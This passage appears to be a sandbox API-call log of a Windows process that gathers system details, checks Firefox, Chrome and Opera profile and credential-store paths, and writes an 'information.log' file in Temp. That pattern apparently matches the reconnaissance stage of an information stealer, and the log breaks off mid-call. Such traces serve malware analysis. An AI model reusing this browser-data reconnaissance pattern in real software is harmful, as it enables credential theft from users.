WbemDefPath:IUnknown:Release (This=0x6015fc0) returned 0x0 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13f2588) returned 0x0 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0211.367] WbemDefPath:IUnknown:AddRef (This=0x13f2588) returned 0x3 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13f3e70) returned 0x0 [0211.367] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13f3e70, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0211.367] WbemDefPath:IUnknown:Release (This=0x13f3e70) returned 0x3 [0211.367] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0211.367] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0211.368] WbemDefPath:IUnknown:Release (This=0x13f2588) returned 0x2 [0211.368] WbemDefPath:IUnknown:Release (This=0x13f2588) returned 0x1 [0211.368] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0211.368] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0211.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f2588, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13f2588) returned 0x0 [0211.368] WbemDefPath:IUnknown:AddRef (This=0x13f2588) returned 0x3 [0211.368] WbemDefPath:IUnknown:Release (This=0x13f2588) returned 0x2 [0211.368] WbemDefPath:IWbemPath:SetText (This=0x13f2588, uMode=0x4, pszPath="\\\\NQDPDE\\root\\cimv2:Win32_PhysicalMemory.Tag=\"Physical Memory 0\"") returned 0x0 [0211.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0211.368] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0211.368] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0211.368] CoTaskMemAlloc (cb=0x4) returned 0x6015e10 [0211.368] IEnumWbemClassObject:Next (in: This=0x13ac528, lTimeout=-1, uCount=0x1, apObjects=0x6015e10, puReturned=0x327537c | out: apObjects=0x6015e10*=0x0, puReturned=0x327537c*=0x0) returned 0x1 [0211.369] CoTaskMemFree (pv=0x6015e10) [0211.369] CoGetContextToken (in: pToken=0x12feeb8 | out: pToken=0x12feeb8) returned 0x0 [0211.369] IUnknown:Release (This=0x13ac528) returned 0x1 [0211.369] IUnknown:Release (This=0x13ac528) returned 0x0 [0211.378] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe", nBufferLength=0x105, lpBuffer=0x12feab4, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpFilePart=0x0) returned 0x2c [0211.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef68) returned 1 [0211.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files\\mozilla firefox\\firefox.exe"), fInfoLevelId=0x0, lpFileInformation=0x12fefe4 | out: lpFileInformation=0x12fefe4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x694e7630, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x77ada980, ftLastWriteTime.dwHighDateTime=0x1d5a908, nFileSizeHigh=0x0, nFileSizeLow=0x7b0c8)) returned 1 [0211.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0211.379] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log", nBufferLength=0x105, lpBuffer=0x12fe994, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log", lpFilePart=0x0) returned 0x3e [0211.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feed8) returned 1 [0211.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\information.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x728 [0211.379] GetFileType (hFile=0x728) returned 0x1 [0211.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feed4) returned 1 [0211.379] GetFileType (hFile=0x728) returned 0x1 [0211.380] GetUserNameW (in: lpBuffer=0x12fedac, pcbBuffer=0x12ff024 | out: lpBuffer="FD1HVy", pcbBuffer=0x12ff024) returned 1 [0211.381] GetComputerNameW (in: lpBuffer=0x12fedac, nSize=0x12ff024 | out: lpBuffer="NQDPDE", nSize=0x12ff024) returned 1 [0211.417] GetCurrentProcess () returned 0xffffffff [0211.417] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x12fefe4, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x12fefe4*=0x73c) returned 1 [0211.418] OleInitialize (pvReserved=0x0) returned 0x80010106 [0211.429] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\00000411", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fef80 | out: phkResult=0x12fef80*=0x740) returned 0x0 [0211.429] RegQueryValueExW (in: hKey=0x740, lpValueName="Layout Display Name", lpReserved=0x0, lpType=0x12fefa0, lpData=0x0, lpcbData=0x12fef9c*=0x0 | out: lpType=0x12fefa0*=0x2, lpData=0x0, lpcbData=0x12fef9c*=0x4e) returned 0x0 [0211.429] RegQueryValueExW (in: hKey=0x740, lpValueName="Layout Display Name", lpReserved=0x0, lpType=0x12fefa0, lpData=0x33147cc, lpcbData=0x12fef9c*=0x4e | out: lpType=0x12fefa0*=0x2, lpData="@%SystemRoot%\\system32\\input.dll,-5061", lpcbData=0x12fef9c*=0x4e) returned 0x0 [0211.429] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x12fee04, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0211.429] ExpandEnvironmentStringsW (in: lpSrc="@%SystemRoot%\\system32\\input.dll,-5061", lpDst=0x12fee04, nSize=0x64 | out: lpDst="@C:\\WINDOWS\\system32\\input.dll,-5061") returned 0x25 [0211.440] CoTaskMemAlloc (cb=0x404) returned 0x6016190 [0211.440] SHLoadIndirectString (in: pszSource="@C:\\WINDOWS\\system32\\input.dll,-5061", pszOutBuf=0x6016190, cchOutBuf=0x200, ppvReserved=0x0 | out: pszOutBuf="日本語") returned 0x0 [0211.454] CoTaskMemFree (pv=0x6016190) [0211.454] RegCloseKey (hKey=0x740) returned 0x0 [0211.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe", nBufferLength=0x105, lpBuffer=0x12feab4, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpFilePart=0x0) returned 0x2c [0211.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef68) returned 1 [0211.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files\\mozilla firefox\\firefox.exe"), fInfoLevelId=0x0, lpFileInformation=0x12fefe4 | out: lpFileInformation=0x12fefe4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x694e7630, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x77ada980, ftLastWriteTime.dwHighDateTime=0x1d5a908, nFileSizeHigh=0x0, nFileSizeLow=0x7b0c8)) returned 1 [0211.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0211.455] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fef9c | out: phkResult=0x12fef9c*=0x0) returned 0x2 [0211.455] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fef9c | out: phkResult=0x12fef9c*=0x740) returned 0x0 [0211.455] RegQueryValueExW (in: hKey=0x740, lpValueName="", lpReserved=0x0, lpType=0x12fefb8, lpData=0x0, lpcbData=0x12fefb4*=0x0 | out: lpType=0x12fefb8*=0x1, lpData=0x0, lpcbData=0x12fefb4*=0x5a) returned 0x0 [0211.455] RegQueryValueExW (in: hKey=0x740, lpValueName="", lpReserved=0x0, lpType=0x12fefb8, lpData=0x3315cdc, lpcbData=0x12fefb4*=0x5a | out: lpType=0x12fefb8*=0x1, lpData="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpcbData=0x12fefb4*=0x5a) returned 0x0 [0211.455] RegCloseKey (hKey=0x740) returned 0x0 [0211.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe", nBufferLength=0x105, lpBuffer=0x12fea78, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpFilePart=0x0) returned 0x2c [0211.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef2c) returned 1 [0211.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files\\mozilla firefox\\firefox.exe"), fInfoLevelId=0x0, lpFileInformation=0x12fefa8 | out: lpFileInformation=0x12fefa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x694e7630, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x77ada980, ftLastWriteTime.dwHighDateTime=0x1d5a908, nFileSizeHigh=0x0, nFileSizeLow=0x7b0c8)) returned 1 [0211.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef28) returned 1 [0211.456] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpdwHandle=0x12ff01c | out: lpdwHandle=0x12ff01c) returned 0x7c4 [0211.456] GetFileVersionInfoW (in: lptstrFilename="C:\\Program Files\\Mozilla Firefox\\firefox.exe", dwHandle=0x0, dwLen=0x7c4, lpData=0x3315e78 | out: lpData=0x3315e78) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12feff0, puLen=0x12fefec | out: lplpBuffer=0x12feff0*=0x3316254, puLen=0x12fefec) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3315ff4, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3316044, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3316074, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x33160d0, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3315f4c, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3316194, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x33161cc, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x33160a4, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3315f26, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3316108, puLen=0x12fef6c) returned 1 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x0, puLen=0x12fef6c) returned 0 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x0, puLen=0x12fef6c) returned 0 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12fef64, puLen=0x12fef60 | out: lplpBuffer=0x12fef64*=0x3316254, puLen=0x12fef60) returned 1 [0211.457] VerLanguageNameW (in: wLang=0x0, szLang=0x12fecf4, cchLang=0x100 | out: szLang="ニュートラル言語") returned 0x8 [0211.457] VerQueryValueW (in: pBlock=0x3315e78, lpSubBlock="\\", lplpBuffer=0x12fef74, puLen=0x12fef70 | out: lplpBuffer=0x12fef74*=0x3315ea0, puLen=0x12fef70) returned 1 [0211.457] CoTaskMemAlloc (cb=0x2b0) returned 0x6016190 [0211.457] GetEnvironmentVariableW (in: lpName="LocalAppData", lpBuffer=0x6016190, nSize=0x156 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1d [0211.457] CoTaskMemFree (pv=0x6016190) [0211.458] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12feaa8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0211.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef58) returned 1 [0211.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0x12fefd4 | out: lpFileInformation=0x12fefd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a5b9542, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0211.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0211.458] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fef9c | out: phkResult=0x12fef9c*=0x0) returned 0x2 [0211.458] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fef9c | out: phkResult=0x12fef9c*=0x740) returned 0x0 [0211.458] RegQueryValueExW (in: hKey=0x740, lpValueName="", lpReserved=0x0, lpType=0x12fefb8, lpData=0x0, lpcbData=0x12fefb4*=0x0 | out: lpType=0x12fefb8*=0x1, lpData=0x0, lpcbData=0x12fefb4*=0x78) returned 0x0 [0211.458] RegQueryValueExW (in: hKey=0x740, lpValueName="", lpReserved=0x0, lpType=0x12fefb8, lpData=0x3317cf8, lpcbData=0x12fefb4*=0x78 | out: lpType=0x12fefb8*=0x1, lpData="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpcbData=0x12fefb4*=0x78) returned 0x0 [0211.458] RegCloseKey (hKey=0x740) returned 0x0 [0211.458] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x12fea78, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0211.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef2c) returned 1 [0211.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), fInfoLevelId=0x0, lpFileInformation=0x12fefa8 | out: lpFileInformation=0x12fefa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558)) returned 1 [0211.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef28) returned 1 [0211.459] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpdwHandle=0x12ff01c | out: lpdwHandle=0x12ff01c) returned 0x8a4 [0211.459] GetFileVersionInfoW (in: lptstrFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", dwHandle=0x0, dwLen=0x8a4, lpData=0x3317ee8 | out: lpData=0x3317ee8) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12feff0, puLen=0x12fefec | out: lplpBuffer=0x12feff0*=0x3318334, puLen=0x12fefec) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3317fa0, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3317fe0, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x331801c, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3318058, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3318094, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x331811c, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3318154, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x3318194, puLen=0x12fef6c) returned 1 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x0, puLen=0x12fef6c) returned 0 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x0, puLen=0x12fef6c) returned 0 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x0, puLen=0x12fef6c) returned 0 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x12fef70, puLen=0x12fef6c | out: lplpBuffer=0x12fef70*=0x0, puLen=0x12fef6c) returned 0 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x12fef64, puLen=0x12fef60 | out: lplpBuffer=0x12fef64*=0x3318334, puLen=0x12fef60) returned 1 [0211.460] VerLanguageNameW (in: wLang=0x409, szLang=0x12fecf4, cchLang=0x100 | out: szLang="英語 (米国)") returned 0x7 [0211.460] VerQueryValueW (in: pBlock=0x3317ee8, lpSubBlock="\\", lplpBuffer=0x12fef74, puLen=0x12fef70 | out: lplpBuffer=0x12fef74*=0x3317f10, puLen=0x12fef70) returned 1 [0211.461] CoTaskMemAlloc (cb=0x20c) returned 0x13f7410 [0211.461] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x13f7410 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0211.461] CoTaskMemFree (pv=0x13f7410) [0211.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12fea1c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0211.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Opera Software\\Opera Stable\\Web Data", nBufferLength=0x105, lpBuffer=0x12feaa8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Opera Software\\Opera Stable\\Web Data", lpFilePart=0x0) returned 0x44 [0211.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef58) returned 1 [0211.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Opera Software\\Opera Stable\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\opera software\\opera stable\\web data"), fInfoLevelId=0x0, lpFileInformation=0x12fefd4 | out: lpFileInformation=0x12fefd4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0211.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0211.461] WriteFile (in: hFile=0x728, lpBuffer=0x3319d24*, nNumberOfBytesToWrite=0x2c3, lpNumberOfBytesWritten=0x12fef68, lpOverlapped=0x0 | out: lpBuffer=0x3319d24*, lpNumberOfBytesWritten=0x12fef68*=0x2c3, lpOverlapped=0x0) returned 1 [0211.462] CloseHandle (hObject=0x728) returned 1 [0211.463] CoTaskMemAlloc (cb=0x20c) returned 0x13f6948 [0211.463] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x13f6948 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0211.463] CoTaskMemFree (pv=0x13f6948) [0211.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0211.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", nBufferLength=0x105, lpBuffer=0x12fea7c, lpFilePart=0x0 | out: 